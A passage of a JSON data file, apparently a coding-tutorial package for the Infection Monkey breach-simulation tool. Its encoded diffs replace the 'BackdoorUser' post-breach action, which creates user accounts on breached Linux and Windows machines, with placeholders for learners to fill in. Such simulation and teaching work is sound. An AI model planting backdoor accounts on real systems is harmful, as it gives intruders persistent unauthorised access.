jBBZGQlMjBuZXclMjBQQkElMjBoZXJlJTIwdG8lMjBjb25maWchJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE2JTJDJTIyYiUyMiUzQTglN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0eXBlJTVDJTIyJTNBJTIwJTVDJTIyc3RyaW5nJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTclMkMlMjJiJTIyJTNBOSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExOCUyQyUyMmIlMjIlM0ExMCU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTQlMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBNCUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
]
}
},
- "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLmI3YTIyOGJiJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCUE9TVF9CUkVBQ0hfQkRfVVNFUiUyMCUzRCUyMCUyMkJhY2tkb29yJTIwdXNlciUyMiUwQSUyMFBPU1RfQlJFQUNIX0ZJTEVfRVhFQ1VUSU9OJTIwJTNEJTIwJTIyRmlsZSUyMGV4ZWN1dGlvbiUyMiUwQSUyMFBPU1RfQlJFQUNIX1NIRUxMX1NUQVJUVVBfRklMRV9NT0RJRklDQVRJT04lMjAlM0QlMjAlMjJNb2RpZnklMjBzaGVsbCUyMHN0YXJ0dXAlMjBmaWxlJTIyJTBBJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQWluZGV4JTIwNThiZTg5YTEuLmEzNWY1OWZlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElNDAlNDAlMjAtMSUyQzE1JTIwJTJCMSUyQzEyJTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTJCZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JEX1VTRVIlMEElMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5wb3N0X2JyZWFjaC5wYmElMjBpbXBvcnQlMjBQQkElMEElMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS51dGlscy51c2VycyUyMGltcG9ydCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciUwQSUyMCUwQSUyMCUwQSUyMGNsYXNzJTIwQmFja2Rvb3JVc2VyKFBCQSklM0ElMEElMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi5yZW1vdGVfdXNlcl9wYXNzKSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdXBlcihCYWNrZG9vclVzZXIlMkMlMjBzZWxmKS5fX2luaXRfXyglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWQlM0QnJTIwJy5qb2luKGxpbnV4X2NtZHMpJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHdpbmRvd3NfY21kJTNEd2luZG93c19jbWRzKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKG5hbWUlM0RQT1NUX0JSRUFDSF9CRF9VU0VSJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHdpbmRvd3NfY21kJTNEd2luZG93c19jbWRzKSUwQSUyQiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uNWNkMDI4MzQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTBBLSUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMEElMkJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy5hdHRhY2sudGVjaG5pcXVlX3JlcG9ydHMucGJhX3RlY2huaXF1ZSUyMGltcG9ydCUyMCU1QyUwQSUyMCUyMCUyMCUyMCUyMFBvc3RCcmVhY2hUZWNobmlxdWUlMEElMjAlMEElNDAlNDAlMjAtMTElMkM0JTIwJTJCMTAlMkM0JTIwJTQwJTQwJTIwY2xhc3MlMjBUMTEzNihQb3N0QnJlYWNoVGVjaG5pcXVlKSUzQSUwQSUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiUyMiUwQSUyMCUyMCUyMCUyMCUyMHNjYW5uZWRfbXNnJTIwJTNEJTIwJTIyTW9ua2V5JTIwdHJpZWQlMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zJTJDJTIwYnV0JTIwZmFpbGVkLiUyMiUwQSUyMCUyMCUyMCUyMCUyMHVzZWRfbXNnJTIwJTNEJTIwJTIyTW9ua2V5JTIwY3JlYXRlZCUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiUyMiUwQS0lMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMEElMkIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0JEX1VTRVIlNUQlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUwQWluZGV4JTIwZjNlMmE5YmYuLjE2ODYyODhkJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElNDAlNDAlMjAtOSUyQzglMjAlMkI5JTJDOCUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyQmFja2Rvb3JVc2VyJTIyJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMkJhY2tkb29yVXNlciUyMiUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJCYWNrZG9vclVzZXIlMjBpbmZvJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3RCUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQQ==",
+ "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
